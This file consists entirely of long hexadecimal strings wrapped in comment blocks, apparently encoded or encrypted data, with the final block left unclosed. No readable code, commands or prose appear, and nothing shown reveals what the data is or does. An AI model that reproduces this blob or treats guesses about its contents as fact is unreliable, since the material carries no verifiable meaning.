/*dd585df985ed5a28e5f64057a5aa36d05f3d139900545c3ea6a40ae695acc0a6bf3672d81de24b1efe6c72e2dff72c9871a5b277bf0633b29c49c62bb324993975c66516377a901a96898d1a05208943d038db44bb273f9363af456aa7ac99cb390b6a448fa3bbcc7f0506bad14b8b68f3ad09d54c893be9e3d4f68646a6b3efbba8f9af1f5c0de9a1b0f8f73de663dfe41675d1e6fe99bede092226d46275ab282fd11369796764235a3b757ba0bb4ff8ba405b3efc649c19912756424b240a487034e87200762b01a1e48a110565526ca4e90790107cea4492bfe51d5cd4c92e18ce87ba8f2bb0e8c3798c71ab412afad9d5cf075d12437e7a3186657a6d46cc508bffd456351770f1e3b1ae88dccc78c4a1f42bf4fea91f3f5688d4bc6e433b0a5781900cd93d12f95eeb63193280bbfb758487fe177af634c2955e64f57c9a96aa7d29c445d192bc847d82f46b672957182053441c294ca1571672635f790f9cc1ecd09eedae190b1027298b068b67afd1817c8aa81c3d764f4d772d9860f7fd9d0592bb1521d10447ba97a91e80fe75a8f623360725f177af503354155e7c24ac9b871753f123cd488d42a31a5a7cbe7209cfb7eb6107a2808328b40ba599775212316bc8f841f4066167416c5528f71f33917274c16a1db211859697d27f8c51ac1512c0de8ab375223f732dcf236a517b7715e03356b5c3e6b9039e9f1709bab533d96e1c8b6c4f0811532f2baccc6e42a1b93b6c276843c815f4255a494edebde244ed892a278212ae09158ad770425cb8ecb588a4217855134e9d1504057193243ce3c73a8c40155a6fc213dadeb910d754167600c8156253b0a1411da140b9936ef50c2dea126bd94104d91bc53947d8c1e5ff7a648d3db0131b1e2cf9c4326cbb0184eba3635b65fc5d4ec2450e4cd9af5aaec3eb3c294922e4821af49dde5b513a6405db7fec2147aa4964b6555caf0e5e718c597ca1d1e757d9b8a675c5d01b50eaacd31a612a8a5564a9c95205ad377a403481e07ff1c532fc3cbaab7608234a899c55ae09dd103f73ec9f422e5c11d754ae1a51cbed48ee0009f31cc06298009bd78050d9a10d6bc8f8f9cde11efd6380d0b78307ee554dd0a3fe78ec3beaf355c5ec33f6b39539334c723999d68ff30c6b4625ee27aefd583f9d8e2fd2f9deff3706e2aead3e247763bb248bac11f25ba148583a79f8134a7810ca2016b817ac1db436f49b29338aa8d70cfc7b1e287a210acf39cc5e8f7b84a43a21b5df6506778a24f3e1a9113acff01b14d37079baa5e93f19a362d521cdaf66c24c82f0de1a3a5c90da63e829e0cf4761c08a664b85ef10ef64df636ded53cb405959c2a0c5c510bfc8f07719709d920fc11e91bdd24ccc33dd60138cfd014e059280672c6677826e7ff7c90d62a1b5b566168754fc64bf3fd7a48bdf21990cdf0b8e0ff34e0fe09da4dd1e3b7e54ee0dc0e86b6d49d4ada95e3835e05a4ce1cbc82cb511b7c7b5c5f6365028e1b6861cca0c4d57b5183b0207d50f69c3f6a8133c9bc58c0a348fd6083a4014f505e38aa9ea5603fa858850c9349a5a1f96908837277944d8b1b630ee0a9d0a9601b2354e2332f38a60daa935b0ba4f362c06366f3ab21c1618a278eceb9d3434e87ef16ca6e320596051e6f43f2e6af11bcb217bd7066aaef8db78057bcc1a6131af7d75734bdf87938249377d8d9c33856005ccb3885c3712bc3af81f4129aa68e0b89f77b1bb689d7012e12bf09e8f69ce05c3dfcbc8d3b3245f0f880c259551c85c7bb1dec47a1991db1f7b5d032f7f196d076242a4f27e304dc722549c046f02b062dc95d321bfa79f220aa5847d265a2577bd2781cd0a784525e079fa20a1a0146f8f7a0c8e3e533e129dcc0e575dc2d30ff3d881e59e864d4b8109998f8bbc4b814c5028247df13007a13bb4b32d753f259c14d96bfc7a5b9cbb2dae6209b6325fad7b940d2b0c296b8754f65a5fc7aa7bd1f524513b7d79007b0995795dc4a2403820a78bfb091a85faa79e53b109e52e1cc4ec701e7945bb3b17102a2088a42c572e4cfb43d84edcec9ef9a33193706e09ffb205859106ac5786d566aa301517c21bfe099adabfae0f91be17bf8a203dfe035438b3416d455d13741923e9bfef0b294465aa40b8be3d06ef7349e2c76e289b6534a2fc186ffd059793fe8faaf860d85b1203d871254bd590a7e59c131636bcab7951ef7345ae377f6f7b76f861c15ab3f471054719ecb072d5d4c36782c494db5fe44e7d2a5cba065122f613d8b92d78f5c80fcc1c57de3f3b744aeff974a96975ad4732760deeb54ce952f443a121bd8587ff09f98362e1fa9ddbf9577a60cc65ec330143ec2cb9bd23a94884aa86e0b6f6393e14581bb847ec0a5d850e28b32040b5fbf9235465704f8c7a35d90d9aa67ff189dfdcd5dcebd1cde58541d901da235586eb4a468a808ceafc7e9569e4d2b2283426d40549e6464d8b1ced92861c7fef4dc0580585f0ec7091497d5c6c35f277df0db3afbc155096287d542a45684772413dc2266b2ee3aa1aaf3a80438709e9f51f570c8d01d4bb7392bcc379ae00e8d05ec99468b027546abe77d5c28cbc3372fbd1d72e9161392ae4cd6112ec95bc5481f6f15d9a572eeaa3de37047ff7b2b6ea8caeb8fe138514be8f4f5a60f7cb496d4c94e968a83a30db2ec59e8778be1b33020561467b45b525d1ccce650d854384d56db6742e7273dd3320f7a2ae18156b56ec857eb592a334a81e207ed9f3edd609a353f2b7b016fc7c6abc989c1dd7fa355eb9b24dccdb66375663d1b01a913cc04315*/
/*71d52286193ebe6d42c253e82afd1a286703000dff07b6a6cfc960cdc59d7669f26342aa8bf645c5728eab436679ba735585aff0aa443c7541308a3783f72e83b6105d814a53ea8766d4234248774b029a195399bc42dd58ab3b986844c753fd0a5605385dc26960e5e8db38ff64a78dac8daa2497c60a656c0ebd5bcb804fd13b7f402925071e6561fa3251b098c91361d0446a4d244438041f9416cf1af039c276546daac2cf8039f70953c8147f766ef9f4d2fb327f5c6f5d082a0e49761ab862610146858ac5813e7c358755d13fa051f44d43ae09a768aaac13284e185854d79adbe7bf3f8597afd2c3833981950249908195ffb3202a4d601d5dbf3c63356c8d6c39e1df9c51ae2b7aac26dbe1c6039921f0728c915331306c09906d3d40afbb5256ba9e8cc037a7fd9c8ac679f8a356978ae0cbbbf34f91267e9ee19c3ed10ce0432e22e755733962c544de757f9a1ed329addbe63bdb638f948a8aaf6eee95ec3b603319594e1020eaee954d7049dd4c3e6a90ce9e21a3110bc3fbf4ebc43070bce1ae5414e2fd319f5e085e6c2b004a2fb9ca869487fe2900f642ee607c91a350d786404e2ccc41e5fbedcc705c463f125b5ad673667d5a4b280fd55155e90abcac573061c294f8a0b34e33a7fc874c3d38f6a3835c5d200bccd8024d0fa121c0aac4916d0ece0bc6f06c6796458df2975d7f3780537cba32af11d1d7af88f38876a9a802985ea427254304c3f39c409cb2e1a8731ed72511c2304796c32cf0613baf4cbc97abd289b2df1cc21039714a575e166901c6b1a5d0ef3a7b074751920ca49809d05d01b1436fb5d7ecbf5fb96984ffa40a9c90b8b4af7915c85435c5c4fdb316c5b56e52b6cdb1067712040512276775d3b833543cf6333d43e252e28183a57899337a8a5473f8f81b5b453dee6c2d7955505a2d5c220d65e37551dfd95fd978e93970deb7963f92b5dcf979d88be79583b140521d2c8083fd42f853c8a830d2ebbf03257b743f1e7d2cd5143a6fdb98b296853e910452851aab0b9eff0ff378844d8f9086bdd15a22f3843bfd498079913dc9df1c006b8bbc8ebfc98cfecd4e79389ac84e8d7a39752941dc86cbf316ee27adf918114182b96393584b62ac8e58243edd0806de610f5ba132479d0f85bbe25d904497a09ba4c3d4cd0494d30fecdd839654e2f7095fa879d816896ca9bae54d7d03fcd2d9bb0668926ab16d4097497aa7eb6d634d51821347ba6d80b95cfec6f9a348df75a4ba02b7bc09ab59955b941dd83539bb501b60ca46083b2b63580c943547e85ced817e43f1926e251d1c2bbd1c0a69c286d908aa22559268d2e965ff51cd6b1e479b106981714362f830c6d7bd66a83563c3a786d1cc928bca4bd6be562a3b180590e5a39e1a6dbeadcef8369f6f06db080eac666000bea260a2b472a6e045d88318784a51d35f4a602dff13233db805cc9d3e998d552a9cb8178d149e8de41a238bf22734f3e74555dd227449a00715bd3c989001ed1c2ebac3c683c9c8c06070ab4273478872b5e4552f20d77026faa8b4b6504a30a69ea8d4d4f5a6402628452870401dfb52dd9966c790f843f9205f65d2ed6ccf2f94f321bd5328d81101e92467709b29334cc962f39e94b5a9c56e8d05e30f2cdc52a0a2d36c2a2b73df59718a30d88c292945a3158e9e6d341b620d915776002d33c0cec0e3cfda68d46a701009c5ba3d5b7e55ba9ea84cda59919ba489930e64f42162750879845832c237e6e56dcb906353665d405b752b10086d7702fd13f60d759b91c8ea28c9423d806f4909dcecfd4d71e9c0d5d514cce5c7d0db2035c2beeba7f772006fd1aa650987789ad7ff7df1f131ee5776ac64d5d4b270d75232b1fd5126a6127794389ae8d16429a8d22ae9a9d9e4067bfe51ebba30cbce241c2c931ce5329a3da4a4abbb207dc82f4a65cac4c9af9acf9f2dc07316bb8172092bdc91249fee5834fb4b941f08edcb96d81648dc8376b5aafcb1587e8783b32c84a19d6b646b40b131f91934bcafbbe0f93ba87075c1260b6bb52a631a0d48f2e382045c340e16a84000d69512d964e9b9b6b84906953cd335ba98d349e6ec342186b59640e98b787fe7008964cf80f7f458349f03e7b1240c2373b16385183414eca983560fa6646523c017715fd956dc4540ff5ad8da21b44def2215a0817e510c8761395b9adcd6010c8a65517a9c6800b8c15937e982092e6c1fbb492988ba23a7ed455217b8aa859a133182d4aa13db4df66ba9ea4ea50b5cfca545164f95070fe147abb307746ac8b2396c78de04799e7148d8df99d65463a08ffa7f4a856456d8df752c4e6089cbc96e0e88b28f1c3a6572805060dcaad36112dec2c75463dea460ef59265c39a7a548dcfc7ba76d7312209cb18fd9b1f91028735ff74cfd246f3c71d0b985fad2ad28ce448effc22f3faf95ce015d4c35598ba1f93313b1e45a6322eb110c1787239d5fb3139301871513ed8034520bdb2fd91c35ff3d8561d0e9afa87b2795a40d57786791f5ac7a97c999ad14c2d35764bf8e1ae6f18063b56ae80187461d4c4215a1118199264c0f8f037b69db89f62fd7f23f5038696ea1d30cb00477664a33c7133d2ec44dfdbadc78c050169101fb95f21df42759c31f4f22cf4b15d299000c4d6c685368a58721bef302b1bea2bec4fc8e56f0f7a66157ac613fa54466655e387d5569cfcee1f2999f67608a836fcc0b8c0e97713b99c29bcc4d79ccbf27407eeeb701d351ca46df9e28ed8aa9f394e56cde78f02f8b194b40a25cde3bb12a83e765d2e2876e308a3013*/
/*2b87fe493cfb30f96fcd7f7c8d5875d3b5b788dd1760b1a28f1b6480b333739ce3f8fcac6adb932868bdaf037efcc3f5b4baef983a5493951147f4a3d36066a19b9b7085c906920d80cd33d9daa3473c92bc40311957bcb1a66b22b44c071af744463850e9a40a9e6b5c7feaa6302742f8f7dc193ad9890e3de1d065bfa88ab1ead7ea9b1294260fc2c24691520ebe21d30b49227bf14f3f46f8e751c82b18e1dc448cf236a08a34dd6cfdb0d57ea67eede19b9ccd8facfa6b5fa110798b640c131f4228a79913ab4be00c65d21d4eccf874f2e8b28aab437476d48656937be86affaf2628cbf4e1e60fdae78eeeded8aa6be1263e380eb20ca1f6e6ca133faafeceb5886be43b4b1718366a48d6bb4c67e292d9706c9007d5c54237872d414f7f026e5f5102e0a37cd44d38fed93a86f0d4004898d6a1dc09da0b1e0bff591db2af2c3459812a9c6ad782b9df51574f3bbc39614560a5cca0e90950621b12489dcb57906b036db9394e4fb96d43c4e849e6deed67983959cd03003c0b0c4138e3a0e72afca14e2efff7b17412eef1931addfcf08c1770696de6fbf3ee17982430d909d647239f99de2bca89a5eac985b0c330ae563b1f335e33e83fc9b41cfe9a919a517b6edd1c1ced28239d6786f615d4dcdd3af9042164c74b4bedae9616f8e2461dd2ecb0bd891e64edd9f5bc9f35a90081bf859c5b794f3ce07ef69d070e33d737d1537cf3245e0777d059b8414fdf875277bf4f6b8ed0a3df2b2c46c09e7e5f43a4ec4561436d67f4d86f2f1b71530602b29de122cde6c9dc8e99a5ea881887c9ec8b4e7e0728ca15f8e9f907e29113246b8c82fd33ff8605870b55925fb8fa0ab336a680a1396536a0b810d91afb66a684535dda28aa0340fcd2cecde9a1c210a4079bad39d503162e1fb9bf9da3b49fa3984d1a4ec5ec266832df3f33207dbdd16b925b945317f952d716a5c4700c85e2c427528db5e6da7935069f460126cdaf712465e3ea61f8096381952e2e2a3e631a65c423d4afc626a5e4891d4503c0c69c3230fb7cef078b874a5dd12ed02d785606f3bcd8aec001065da2029a43f04aba9d9a922f09ff288b17da5b700ea97fa39cb7e523cc928f0e53364630b199281b49c88d649ce2132d8971b3c8f36a3aa051185ef70890bf92f356af74a24f7676e9ace4560600b86becf2499b57c9b2988dd197ea39f2b7c74b388c2bbae371b276a043600fa28c1fa6d92f3aacaad7502edefc3ef298ce4a0451f2f3ea94e4df56af4efe1a0a35dc06daeedea341fecc6350e334f3eb56d2dc6589cc68296c2fa13197aef12f08cd3639397b46c73e7fcd2fd62990e5f86a615b5ee98047d6b5ce76f8c43eec8dc663b3733cd3c6612b659411389bedefcf0e12e821af5940580ae3a506209e60f0dc0bb9854eca9cc0f0c9b8cc3ad080e2246b30df19bdc77676b6fe8b95ad0c5342170e4b3925b953f699dda5691147fae1b537d55aaf0767dda982a2a04533eeddb95367b7b2a77d864f5960a13c9b90d9d134c794aebbe77dc25ae9c2e5268a93957ee087b69eb02d226e144268ed44332a920da33d6183fbc11d897a13e1ce017c6120e145fc76bf4ddde4ce8f0597df44d54fb7a938842e023e7e31eb3167528b3fa7ec3c864f843eb60df94f36c352e54b20776503e966fb516c4b18247abee639e282001ff4b977f1ef9ddd795141439ef6478774322bc4acc9275216292028ab5739380b20acfe74c8e29b92af1da872fd560e39e3b57f8ced04c7b281bb67a5396c55e51a2da35dbf40c472951fe5a2109b0da2a66c496b3f9e4d924c503a6c5a04e8d1c166eb92a88908b313b80d6d48e7bd518ed2bfad736e7a488d51ddb95cff64d730cc7ef31200d685f45d32bc4ee1d93f406c3f871bb6e676fcb5dbfbfb13afb9b27afdefd51c102a8f1b781d8a8bbdcee3c456f5a8b6bf05ff0e8c04540eac4d732cfe731d6bbca77f2d401e13046f9714dfe59a645ff531f5d1d7404195530861587259fe7823293ff08994992e3f4ee856dbfbcc0b2d7d0fda772bd104d24b18d5a87a526fdd4d7dc6ce75482909d381a2907a6b4ba297c4ba1f227b38dfe642fc3ac2ac36075a07ab99d4803397bd59b8434b5261a387b675f2610733b0343e46c53b4be8753ceb135794d057205d4ad4f5df4ed139364b2ce6fddd50cbfe2dd57ec5be07ab95689328cb2e278a613624a3c932ada143fa5b0efa5077bf73f322166323161325f903d708567e6cfca4428b2c36338c503a452048e0d8b61a4e80b4e8bebe3f9042003d86d8f48603c0029af4e39d487587db2e072736034b5e4201f828f9ed788973ca811f310eeac2f25310b252b7b5676a2767a3c0b4773da8c1909486aa80945a2e7d2d2d4ae0de0c888f4c9d2c9f1781c776574cb6efe3f03025cc7c6cec1a66b55d09f864f040ad079a6d6f1a65a0f515c860d671128fa2f2d03e9b36e63a982a342929561cf5f64ebafcd3bbb93808a1d5793769deccb7d150bac825c63e7f8d07380c5c0794edfdbd706ddbfcf6c5144f78d329ff268bd4e7d1d6b17e0d69a9a4594400669cdd4bc31c85fe3100657565d79a78f25cf79559604d97aa2ddbee0d2cd54cb7aa3d74b9e3c04195469c9142d0bd73112de2dc25b3cc0bc9637b22ecf7322658495138501b09157bb2c6ff72bab7596ce753e8d8965029b0b0b310895c6fc82b7966bf500176a9e6d2d3d0813d4744ef640a91833268cd9a9df49301b31045614cb837800fa20f3368806d1d702617d5c4d5f7dd6333f674acdf34b41588131bbfa238da58b0b6731d7c9d*/
/*7ea7b7dd51e184df7f45dccdb0f29c2f8290bdc5e06d4d9ba52057f1ef739a61b8127ae3b923ef50b343fd99c88fb4f89922123098afb7c0570aff53ca29b8d80ed1477663f18146260d2ad34f04b5951fd96436771cc3224bcf1ab45c281bc9c7dedd04b824d8cc43f4bc007aa1a2b548bc2f3d1e9f0e2ad3793a921e0c77af34ce3fcc80b945df1c1773845d32e98c84b614b1b4f3ce328e758304babf467316266a09edb84815eead839210dd3ff0022ccea8388195fbceaf94390ffa944ac4488afa520d524a17d0d4f683680f8452ac219d73b5bc36c669aa29b9915d9d7819a61d73c98ff1389d4abce11816b777e73d5d459a7bbcdd670ebe6c78ccb4c47ddc064798db442cf4ac342bcee7c38c61d0bc54251febcdd1786f0e97b783e4f6a96ac703444df77c10548abbcd08d4d360e09a95f575e53534a797a488bed2cacb52d0c8d1c343534007d02c93b63df4d7e0f2e1cf2b9beb9b75bf184e0c55c4f19fa2cd832c8e0aadd3ee4951666722da1bfbdff423685befd48771f1869523fbf6af5628657aca8a803f4722886bb89fc0dc1ec9c6f913b1abbfcb5706012fabc09ada68fcfb024c1b897d7efdb9d4cfc897a3cc9fc0bc435fef88c367e39cfd9c80501ef43f84050d07b92ed1e82238b38d2368f0af00ae3bb6a2c702096305baaf5a2178ab3a0d11501194daa653c655eab9e70b08192b3f7e312e3f225ca3fc611705ad387fc06ee30c4de678f262d3bae2a9f5a562927b86edc33f31260ad26ad313ec4972bd159cb838a6c48ca765c21c8c8c4828bd635a12f273ddf8c82e654f0951f2ed3dbc12d626df543183e0483a561ed95b122613820365e1e5acbe889a8681b474b7ba8daf4714e32d3189bdeb3203be8d80e3f2a2d6053c4652267a81150bb80e12f46d403f629fa62b761a523d9a27823dc4e356fa0538a533c2aef2dbd54b4ee5672b217821900ac20b78ec13e1a6dec1d8160f190df8aa09055e453b38960eb6e8787f307c48f314e54fafb6b6097494b82c14568b447c4ac5b0f0de48d4d6eb8551271cbe2d0cd41d3e4daf8e019e40d212c0408a4b7bda51941c06b5ab454684b4c0df495f3010295f42c40372693e5884c4825dd108220b3603907cd1db55f7db2fb218c1fb2d4445f1e2bea0013a3372210ffd3952345d6307d6a958b037745a68dc07285376c65a1286f875fa22fa356ef3444c9489e6ee0ffcb51eb6beac0dfc94e4edb769334381ab3fd8bc4104793ddcd2d926e7df045bdbeb673579c1658b4b1bc0a53250c9052edaaea85dcbfc7390ac9ec1e0122a9778c61204dc061fcf90198f3e105c1059aeada63c75d88a4480f486297a1607e45c7022956a50f0391d1ee1b68926d0f397df6213003d481a1f5915cb28e811188c9ec7bde42b4050333a6467e31cd2b904a53be0f882f6092c4d2b5a78023176908cd1c782bb57c21c09a6e3f30e74254460bd0287f5241388aabb3cf5fce370d05a0f65607faef735c6739ea62abf2d5829c027dca8b595373e75a258d8ef26109595c98bdf151c35682bb02a4d2f53e1a23a0afabcc7ef1e280df209be136c279f73cf9a924d0bf532c046a547baf2f5715158c1512d9a96ed28c636907b70437787884bc4414e441fedca09da88728a0a3fae3f3fb51b4d2ac4f952c4acd81aba16cb1aa09a366204c0cb343dd3c44a87b34cdd68c3b1a1da65756a9b7e61dbf193b9f1a7e89e186b82feff1dd6adf5ec95aa0e6f928bad2c07e4fcb94990bedf55792704bf299ac88b414c7979fc88c8b0c591730781cc7ac5037187754bc37e8750120699f6be522ee234a7414f3935fcf9f0881594f341e1cf1f0a255ca30cf3ecf208fab8c494dbc491c305421c30bc33a7a4efc55f3ec1098fda42d9c3b9412f81a56611a199b1881c315d9fb195d5b0877152db723a155f3ee15b4bed6591d29f09d41f4b388f8eb0d6dbfc2446cf17eacab82d14ddcfa7ed4d998848c263e9c317b74c7ca18425e5fe57f7ab5dbd3a1e0d8e59a458c2b1d936924a4060efe74f6a813144e94e6392707509d27cfd01081c2528511a0208bf76265b49a38506100e3f66aee1d45a80051d3d4ba11371f337e94d96fbe0b0497bea96da685d853627370edbb9375e47ef16cf2582e9e5bcdf3fe2d22ab61d3a72c6e682ed91ed6566067ebe362733a3817e1ba3d43b5f0be84739ff552f0023ac7e637afbdc0b28f25da98bce181f554dce37e8e98735492c72439bb2a732cb2b57f64a91604c4405e95e2c8bbf006926f8cf3b1e4b7c6d250b3e50c734d2d97b69997aa05040b0a6823ba69cfeafbdc6896ca7e1343cc59591887185b9f97ea17f09251242967384b95e04d660d0b230db245e8478a52ee12237c5b8c7ebf4e2e15c6653c76f7ed909041b366ac3d5a5a00b81fd4e558abfab151d66749b338b9cc175c533c26da2ff28178578eeb23a51529d713f3da1ebddff78b636ff41d572cb6c01d0bb12c379bb404a838bd100e151d67e1032556a6e5451bf859764357fe8e0c51d6dbc1c9847d8847dbaede9e4ad1d9057e202445a3c2b79ef23b66d45ec2694b96cf1eb1bbc89cefa6d834052fade5af1ff4a1462c53ddd9a93491d627301baeabfa90e9266a7980d895b5c3f745df171c60de05f0351517f2f1a223e2d8ade63bd5337ffdcff5995711b1f8c99d9cd429239ea952ec7a6b7f56b4de969dc6492baf6ce6c7d10ac5a8e6d567aab3e52cee2171bd734c5c4e4dc28f3469951d4bd98fc67bb2f637b2abf40ae26bf6327922f238f56332e706773b6955f40179e19c73b949a1ae2d4*/
/*52b9b16848ae9b379ab2a32313f125e688598784f9df1bbae87c775233f5420e5af0effb6bb243d768a0a0c288f8b82dcf5ff808dfc9a7c2eabb5502d42db9eb338446c5e1ae3f32c891e32427495004dbc1e3d2d6c690a9b81c0e0f3993b85df41114f51d0589876822139fb5f6a20d2da840aeb83e9588970954054c0f203061fbac97b9269db993c3dbc95a121d45de44772c4b78e4f90d875ada64c39b5b05fd02699653d645999a9afbd884fadd27b31db7551a72ed796df961e7fb91945fe3e244b29737fc3bbb19236a9bdade637ae21aadfc2455d8fececc4e2323548102fb47e8295b8237e1100e43928069de8767518846b0a2836f3131fb07a6155070b04b71105325a1169fbe3ea9ee089a97bcb758862570a88296de962ae0653d86d8c43f305b4b3a43df9c3fd3fe722510f9cf0aa76956ce6b4a6847b0099d878f241c5af43de206287c85c01d157c04d4a361ff4566981cc2d70c3f91ff671eda1144ae41c1da19d4d9a586a2d2d2658852d85abc29b4eeff6d2efb44709ffaf18983badcb522c6b04245d3018f3b7f82e78283d29f2329570f7c8dfba7669d448b03f06a5eca1bd4ef84529e0847e56c875f57ae0b431f17c135ec92350ddfd13f5a8e3d751781fee959d371d230cdd39fcf299c54a2448526d49f347800c33b0b575535cad2f45ac8060c5fb5195f887cd011a83127a0d13306e47dcedfbc74a622b11c532fa13ca76789948e44db2c311426d10f2030ce39f168b1c78a1644b6d7b21920c3cafa2ee5f03056afeb3ef2e7af1112c42f0b1d75f2bfe0cc81cfa8b4ee7abb1ff73cba354599a7ab9005df24a6fcbe240d49ac5216dbc1443e3eb2f3db33869d58b99abd2697c36272dfd13f28c07cb76ac7509deb539668ff87a783e14fb750111f24f7c812bb99660732b77bc57431b33b09a5d087d404ce549c153cb3448fbf98682727d06b467041ef267374569a59576b2ad1d20386f8738bef02a96966494d18928854290d1f13503ea7d7c08d651f3c24b7597d7448e3e4d37a29f40eb3f6c23426da27845a10cd40f9901228845349e51151763c9b67903e098f538c9d9cddefd465e35d4c0fe830c56ae81161c59d37f5af97f93515c5e8c03e3e298d1d5541501b12d48303f49038aeeb9f5d7aab3f6563c9ab418d14b0e1393c67dd3cf2da50ec3d6e5217763112f9a7c0754299932c2d8cc2a58e92551df93dde47e9e7b0dc16dae56d6dbca08c19f59b582c8a68b825f0fe2e916b639bdd77e52615bb45743fcd4c492190b84ce70cfddf68d4c9e4b039b1726228637d855ae54119a2c62f5edaac3461acfad4d722651e3b59d899d25d2056cfae82fa54800a184962ea5f5ccf4fa7d9882b2796d557d6df6afdf00e954700131c86f58b32e931bcf92c17ec3046185d8fda50998cb6e5f1555965fe0c3a8b455b94b793a94dc874057904317680223856363133f14eb11c1b48653015ff03f5427f2a48da24977ad6516658a26f26bfcdcb8dcc9d66e81b87aafe0d65537e4cd0a1e4e5adba2adce79e41add752af9d7610f68582b0009238fb97bb6b24f559169335c7c5987fd0002bd8ef448003fa0aaee959ed098dba7066c3154a7852de9d8697e83b39373ba1806ea68aa42cc0ebf760da692e9aafd494f9242f06c28071b7e3f53e69b48e0389658dca6116586c8cf377a3748bdd0bbc1482000258fb257cc46dd11bb51296130d52453f6c2c00ad1baa3b7110abe2802f566b36a5e32a8958e90243f39ddbc64e0926473ef22e84db67257fcb27ee392c6dd6de2b7983ca8556846bbcf42a0fef855a11fa0e4ada5acaa41e08eabb5226b16cf9f3b367df9171cb859fa3358aa91df56735a1a6451e008fed45b2a918d36e6c61cb410a1e5ed74f4b94a0bb7bc030ef42837f476f7549753d79117736855a8c4e0b0bbcb7cbc23ff8321fb6b5ccc5b820572357c2d7a01efee9073d69a4a8cfe39a31b4c7b5b6f05858188061988d0b382bfdb34741fffd5e9789d818960ff14e7899fa5a7677f7cad73c76766799e6933a438a3a4645cc12281c8d080ca0d49cd341c615ca406c191f8715afd891d70b6a4c4c92445ffdc26c76e1a0ea9234e061787c8601f3d06d341b53938e533047e9145d9d0f12eda0f4dc9c9fdf9e44445394b9ee2047349baa5b35a533f47bfea789e8a18e03adf8287b6ced7e8d6d8d72075eb97223e70fefee76040a1af81d4b8d2762cc77a089fc0a73229c37411473833276a6446140a0d5c66c8ade1e4281e03137bee4574c2843152eaae20612d851d0f8fe1a59958b74881fb15ec4a5e0247105b888ab507f250b1bf0e280c47a23f9106126b3d0187d83b6554dac5a7ba828a7b43e5ef7d6e4da8cf79fc77af8f6f6478433b3ef47d22ac4a388618db4ae7f5712d33e73f00f3d7ad6f80c041f3cda2bd9853375d23f92e1fcf9c8717b8fbe83d4b6883ffbdc935bbf7d6837a299dce571038bbaa0eae96d36950fe6afda27975e69c304c490474ea95d79f00d176926eb335c9fddb57d409b95025a4f41e29ace58dead8c9671138fc21ebe3a6b18fc5e3b100eab66c8e6260c0d25b7e3147bd6dfe5b0aee9fff6308612f0e267e0d74c0173ef2dab395c2462767a1dfad836d3c8689a84c65fb9d912ff33e9d646a4c90982e39280aea06cc3adb85593155e14671faf203ced85225eab7fad0d85393b2abcddab04a3394d4ecf9dabd7eb0fb253a970060a27d6915df3acbe690c52d2711b6522b4d01b885de5fb59ce31d475338620481b1372fe921791006165e0901780a9995284c5b327ede4*/
/*eb605c6769ae8f88bc24da2c2202d9c8721f4ecc5cf6f289cd3f9138b1d880b4308dc65b8085c5cfc1eb446239a444b4cfb1cac1497ad7ee3e2d17a6753e98c8c662d582cf221fcff282322882e147cd4228d5a4989d5f33b686520309e182759c772db7dbc043644f4a850985a0b5d00631ab3020189e3fb860010042b6a670f56a9380412f3af51074b4612686253d37d4128bb44c277cf75db29bc1f3899e1abefc9f7375887e2641c25f6a821bfebb50a079e2ee9512fb82b06fa045293deec2605e37dda80b3ae5efc9c3b510e4cc5c07aea71d5026fece57fb1d52a0320f76b425bf8317a36d7d410199bf1346af628c3effbe561820344d8af765009d79f3e22bdcb8d8edbfe856b183ca48f94d19e3ae07790ff68e38380b9b88ab5bee79016f66a211401777ef9fe278e336b68a2af4306eebf0663089d006dd2610f9e71d958ab1a884c4314772bfc7628f7c0b209b27ec278064f5e0231cda90184812b22e8107f785624bb0f2812d28e64bd2d74e3de95ff77d8562ac6dd1d950a768752384d609539df15c3fec66d67ee950e3ebecfe3aae7b6735e8267c48dc9f98a83957f89b048a61692dc2d29fe5fa20eadcc4ce1d2c094adea3b8c3de4769864c4523d39148df24c632d3c4a991040c95c754d7eddc2b49f3a6b72f27b6afb0a6cff172c3181bb7da3f8e00082f7a1ce668937e575999db8b0d933839011214c5b3d32aa995b166c5c0e9d30357e69578d8df6c0343ea4889cdabd9ee61e18d4bc003913dc3e686bc831c35383c234c9ba56e34941582b5b6d8d2c5ed4f446e2b1bda5fddab60d476fb3dde327f6af3087b012368ec3fbfe25a089ac9f870588532775611f7ff0d1158b2557f6721d9cd4dcee932c26095449b2213f7bd3263bdd8391167026982b83ffe3dc7ce6e25e78933fb0f8997f234b33ebea0922fd0827cd15d5f550d67619c032dac2ada4f78c17dfbb7269c5b5cd381f685ff37a7b3f6dddd7521751ce60a503a38fbab0ac6aaf0b9adb4a0a0a58fb1ce81ba6b83ced38e5a737a407711e95b3daa0223b2a3a36891f37be4b5965f77976c1484111b39c75f760cf1e9ccb12fa2dcd4445110f29a0a721dcf8aa9d8bf5f541e13fe361581bf21b4f41866b619d3d48767217757985830e84ba67960f680e39861894f10f399861addc848166b7ad31bd31fc7e31264fa30343133148c16562775642265453bc5fb05e86ba2f1789cce269d4151ed59b90e7a3f8c7d8d1d359b89f3ae3332162243159270129586a2820eff1838cfcaeb3a158a147c3a0b1289f741e6c301e579cfdc35e19c079e41bb7be02c594a5bbcf3982c765b590f0dda0c44c8c9ca2db089a65793128b8352c800a0bacd5c5a14b4bc73902e02da7da39d7c24750a6b4414b92ecfcd1af77ecac9a1bbf394bd7c6b434814cfdf9b1fe5a068c0d85408051e39e1474debc4ca7a3a9a89c2f5d873f2c9a1d562790e5bc53fced905d39db0950891dff4000a6f346f0ccc69a01f68e77fb53c6de63ec6848b0ad52b172f00bf575e37af740869977136ee0d4c8a1c1e99a12f556fcf43f1291ae1c0d67830484b30760efff7a4757c8ed7cc28501284f63ef02a3d799693083268a511dc5b1fe1491ef7dd395a4ec4da6af0181f42fc1596f109614a87a3108caae528e87087f53d8d5c53cd46f55144157dc41c24df652588c4fd79954f21344ecde16484b78eecd5a108b854c7c83822014d3a07905a648b1b381a707afcecf5ebc212f79aa7690ff80bb910735833b5ee9748ab99df6cd449bc888a6a83bfeb267c2ced2d25fbf0fe377d672650aac8257a1ce5f3b862345b21e0b7cf773697ee1d71957592879f908c8b8248f7016aeb1f87bd9ce5944740838b8abee6cca36848dd0affa214a9550a04642db9bdee70e4cf692e27de54adaa29a9b46f4961441d35e975626b96d51d0ab17b7be20c0f25f3a670b2e23d1e0ec8da044c6cb506b65ca630aba2884f93b89ef0bee6e031b0153bf667b2048b99ad83678127b923bfc8d0651e71575263c6b6d77247d5b95690981e5080fefddcbf1c75ae20b30ed4b4b8cf4d6ca37dd8b9dd624038c99d02d43bb866813b38016e147651c188585d86a857bd598158dba0a20b31651f860338a240e7279ef5610a7e414a43c76ff7a0b6dc98a9f05794ea7c9d58f8d07ee799200c